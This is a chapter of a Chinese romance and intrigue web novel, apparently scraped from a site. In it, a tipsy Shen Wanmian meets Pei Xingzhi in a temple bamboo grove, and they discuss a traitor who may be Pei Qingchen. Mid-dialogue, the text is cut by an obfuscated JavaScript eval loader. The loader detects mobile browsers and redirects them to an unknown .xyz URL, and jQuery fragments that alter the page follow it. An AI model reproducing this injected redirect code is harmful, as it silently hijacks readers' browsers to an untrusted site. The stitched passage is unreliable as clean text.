无念也不管身边还有个沈晚眠,直接趴在桌子上呼呼大睡了起来。


    沈晚眠虽有些微醺,但意识还算清醒。


    幸亏今日不用回宫,不然以她现在的模样,出现在萧贵妃面前,不得被她数落一顿。


    先不说如今她们在佛门重地,饮酒已是对佛祖不敬。


    她们此行的目的,可是为了两日后的大婚祈福。


    她不帮忙就算了,还躲起来偷偷饮酒,摆明了不把此事放在眼里。


    沈晚眠起身出了禅房,脚步有些虚浮的来到寺庙最偏处的竹林。


    夕阳的余晖正洒在竹林之上,原本翠绿的竹叶被染成了金黄与橙红交织的色彩,光影摇曳,如梦似幻。


    沈晚眠靠在一棵粗壮的竹子旁,微微眯起眼睛,任由那温暖又带着几分萧瑟的光线抚摸着自己的脸庞。


    心中的愁绪如这夕阳下被风吹动的竹叶一般,凌乱不堪。


    “为人生总是这么无常?”她喃喃自语,声音被微风轻轻卷走。


    就在这时,一阵轻微的沙沙声从竹林深处传来,似是有人在走动。


    沈晚眠警觉地抬头望去,只见一个熟悉的身影在夕阳的勾勒下缓缓走出。


    那人逆着光,加上沈晚眠的视线本就因醉意有些朦胧,她更看不清那人的长相。


    但那劲瘦的身姿,以及身上隐隐散发出的英气,却让沈晚眠的心猛地一颤。


    随着那人一步步走近,夕阳的光辉在他身上镀上了一层神秘而又朦胧的光晕。


    终于,那人站定在了沈晚眠的面前。


    沈晚眠直起身,微微仰头,努力聚焦视线,看清了来人的面容。


    裴行止!!!


    他怎么会在这儿?!


    沈晚眠惊讶的瞪大双眼,不可置信的紧紧盯着眼前的人。


    一阵微风吹过,裴行止玄色的衣袍被风吹起。


    额前的碎发也在空中微微扬动。


    他望着沈晚眠因醉酒而泛起潮红的脸颊,深邃的眼眸里情绪翻涌,最终只凝结成一句低沉的问候:“你……还好吗?”


    沈晚眠人都傻了,她震惊的一时间都忘了说话,只呆呆的盯着眼前的人。


    “你你你……你怎么在这儿?!”


    她不是在信里写的清清楚楚,她怀了他的孩子,若他私自回京,她就打掉肚子里的孩子。


    他怎么还……


    “你放心,西瀛已经战败,城池也已夺回,不日大军就要回京。”


    怕她因为自己私自脱离战场而生气,裴行止赶忙解释道。


    听他这样说,沈晚眠稍稍安了心。


    “那你为何会在这里?”


    难不成是为了她肚子里不存在的孩子,特意提前回京?


    想到这里,她的脸上染上几分心虚。


    裴行止眸光暗了下来。


    “自然是有人,想让我死。”


    !!!


    沈晚眠心头猛地一沉,酒意瞬间醒了大半,扶着竹身的手指不自觉收紧,指节泛白。


    “有人想让你死?是谁?是朝中之人,还是……西瀛卧底?”


    沈晚眠顿时慌了心神,脑海中浮现出一张又一张面孔,最终定格在了裴卿尘脸上。


    如今她几乎已经确信,告诉裴行止自己要和裴宴完婚的消息,就是裴卿尘干的。


    她故意向呼延婷泄露出自己已有身孕的消息,还跟她讲孩子是裴宴的,就是为了让裴卿尘再次向裴行止放出信号。


    而在此之前,裴行止已经从木槿带来的那封信里,得知自己怀有他骨肉的消息。


    裴行止也不傻,她回京才多长时间,就算她真的怀上了裴宴的孩子,也不可能这么早就能把出喜脉。


    所以若她真的有孕,这孩子也只能是他的。


    “裴卿尘!是裴卿尘对不对!”


    裴行止摇了摇头:“目前还不能确定,军中出了奸细,和西瀛最后一战的前一晚,我中了埋伏,为了不打草惊蛇,第二日我特意不露面,还让木槿在战后,对外宣称我身受重伤。为了揪出藏在军中的奸细,我才提前回京。”


    沈晚眠忍不住皱起眉:“万一被他们发现了怎么办?”


    既然有奸细,那他更应该在军队中待着才是。


    裴行止笑了笑,轻声向她解释


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462026|179035||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道:“想必等你们回到宫里,就能收到边疆传来的捷报,和七皇子葬身火海的消息。”


    沈晚眠听后心中五味杂陈,既有担忧,又有一种莫名的欣慰感。


    不愧是她看中的人,和她一样聪明。


    “你是想放出假消息,引诱敌人上钩?”


    裴行止点点头:“没错,没了,我这个心腹大患,背后之人自然会放松警惕。我躲在暗处,也方便查探。”


    见他这副胸有成竹的样子,沈晚眠问道:“你心中已经有怀疑的人选了,对吗?”


    “对,你可还记得在扬州发生的事。”


    沈晚眠当然记得,说起来,第一个察觉出县令有问题的人,还是她呢。


    “你让阿烟把县令的事告诉我后,我便将他调查了一番。他的背后,还有更深不可测的势力。”


    沈晚眠顺着他的话,突然想到了出现在宫中的孙嫣然。


    这一切的一切,串联起来,好像都指向同一个人。


    裴卿尘!


    最开始在红楼,和混杂了西瀛卧底的扬州商队谈生意的那次,有他。


    将自己要嫁给裴宴的消息传给裴行止的人,也是他。


    能把孙嫣然悄无声息地送进宫里,就连裴宴都没察觉出她有异,一定还是他。


    “裴卿尘!就是裴卿尘!!”


    裴行止有些疑惑道:“你已经提到他两次了,为何如此笃定就是他?”


    沈晚眠将孙嫣然的事,和泄露消息的事情跟他讲了一遍,裴行止听后眉头皱得更深。


    “我知道是他故意向我泄露我的消息,原以为他只是单纯不想看我屡战屡胜,如今看来,他竟也和西瀛人勾结……”


    这话沈晚眠就有些听不懂了。


    什么叫“也和西瀛人有勾结”?


    “你的意思是,还有旁人?”


    裴行止微微颔首。


    “那人你不认识,扬州城之所以能成为西瀛卧底的老巢,很可能就是因为有他在。不过我也不能百分百确认就是他。”


    沈晚眠听得有些心急。


    “别“他他他”的了,到底是谁啊?”